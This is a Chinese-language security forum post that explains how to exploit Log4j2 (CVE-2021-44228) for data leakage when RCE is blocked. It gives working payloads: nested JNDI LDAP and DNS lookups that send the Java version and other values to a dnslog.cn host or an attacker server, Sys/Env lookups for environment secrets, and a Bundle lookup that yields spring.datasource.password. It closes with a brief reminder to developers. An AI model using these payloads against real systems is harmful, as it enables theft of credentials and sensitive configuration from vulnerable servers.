揭秘Log4j2信息泄露与内网回显风险

本文深入探讨了在RASP和SecurityManager等安全机制作用下,如何巧妙利用Log4j2进行信息泄露和数据获取,包括嵌套标签、Sys与Env查找、Bundle查找以及DNS协议的应用。


0x00 引言

随着信息安全领域的不断发展,安全研究人员频繁遇到RASP(Runtime Application Self-Protection)和SecurityManager等机制,这些机制大大降低了远程代码执行(RCE)的可能性。然而,Log4j2作为一个强大的Java日志框架,提供了多种机制来绕过这些限制。本文旨在总结和探讨在无法进行RCE的情况下,如何利用Log4j2进行有效的信息泄露和数据提取。

0x01 嵌套标签利用技巧

示例Payload

${jndi:ldap://${java:version}.u2xf5m.dnslog.cn}

通过Log4j2的substitute方法,我们可以递归解析${}表达式。利用嵌套标签技巧,可以从内到外逐层获取并解析内容,最终通过Dnslog将信息带出。

效果展示

图片[1]-揭秘Log4j2信息泄露与内网回显风险-山海云端论坛

0x02 关键信息获取:Sys与Env

Sys和Env Lookup是Log4j2中两个非常重要的Lookup类型,它们能够访问到系统属性和环境变量,这通常包含了丰富的敏感信息。

  • 参考资源:某位安全研究员的GitHub仓库提供了详细的利用示例和说明,链接为:https://github.com/jas502n/Log4j2-CVE-2021-44228。
图片[2]-揭秘Log4j2信息泄露与内网回显风险-山海云端论坛

0x03 Bundle Lookup:国际化资源文件读取

Bundle Lookup是一种特殊的Lookup,它通常用于读取国际化的资源文件。在特定的应用场景下,如SpringBoot,利用Bundle Lookup可能会泄露关键信息。

  • 操作示例:通过spring.datasource.password关键字,可以直接获取数据库密码。
图片[3]-揭秘Log4j2信息泄露与内网回显风险-山海云端论坛

0x04 利用DNS协议传输信息

DNS协议是JNDI协议的一部分,可以用于传输信息。

  • 操作示例:使用logg.error(“${jndi:dns://xxxxx:8090/${java:version}}”);可以在指定的服务器上接收到信息。
图片[4]-揭秘Log4j2信息泄露与内网回显风险-山海云端论坛

0x05 不出网回显技巧

一些情况下,直接的信息泄露或数据提取受到限制。此时,可以利用Log4j2的错误回显机制,通过配置文件使错误信息中包含敏感数据。

  • 配置技巧:在log4j2.xml中设置ignoreExceptions=”false”,可以使错误信息直接回显至日志。
图片[5]-揭秘Log4j2信息泄露与内网回显风险-山海云端论坛

通过上述方法,即便在严格的安全机制下,我们仍然能够有效地利用Log4j2框架进行信息的获取和泄露。这些技巧的掌握和应用对于安全研究人员来说至关重要,同时也提醒着应用开发者需要更加重视安全配置和日志处理的安全性。

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容